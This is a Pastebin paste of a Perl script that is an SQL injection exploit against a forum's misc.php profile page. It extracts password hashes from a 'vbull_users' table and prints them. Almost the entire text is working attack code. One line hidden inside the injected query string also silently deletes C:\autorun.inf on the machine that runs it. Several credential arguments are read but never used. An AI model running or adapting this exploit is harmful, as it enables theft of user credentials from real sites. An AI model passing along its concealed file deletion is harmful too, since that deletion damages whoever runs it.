Advertisement
Guest User

Untitled

a guest
Jul 17th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. $server = $ARGV[0];
  2. $dir = $ARGV[1];
  3. $user = $ARGV[2];
  4. $myuser = $ARGV[3];
  5. $mypass = $ARGV[4];
  6. $myid = $ARGV[5];
  7. $sitedata = "C:\\autorun.inf";
  8.  
  9. print "------------------------------------------------------------------------------------------------\r\n";
  10. print "[>] SERVER: $server\r\n";
  11. print "[>] DIR: $dir\r\n";
  12. print "[>] USERID: $user\r\n";
  13. print "------------------------------------------------------------------------------------------------\r\n\r\n";
  14.  
  15. $server =~ s/(http:\/\/)//eg;
  16.  
  17. $path = $dir;
  18. $path .=
  19.  
  20. "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0?,0,0+FROM%20vbull_users%
  21. 20WHERE%20(uid='".$user ; unlink($sitedata);
  22.  
  23.  
  24. print "[~] PREPARE TO CONNECT...\r\n";
  25.  
  26. $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
  27.  
  28. print "[+] CONNECTED\r\n";
  29. print "[~] SENDING QUERY...\r\n";
  30. print $socket "GET $path HTTP/1.1\r\n";
  31. print $socket "Host: $server\r\n";
  32. print $socket "Accept: */*\r\n";
  33. print $socket "Connection: close\r\n\r\n";
  34. print "[+] DONE!\r\n\r\n";
  35.  
  36.  
  37.  
  38. print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
  39. while ($answer = <$socket>)
  40. {
  41.  
  42. if ($answer =~/(\w{32})/)
  43. {
  44.  
  45. if ($1 ne 0) {
  46. print "Password Hash is: ".$1."\r\n";
  47. print "--------------------------------------------------------------------------------------\r\n";
  48.  
  49. }
  50. exit();
  51. }
  52.  
  53. }
  54. print "------------------------------------------------------------------------------------------------\r\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement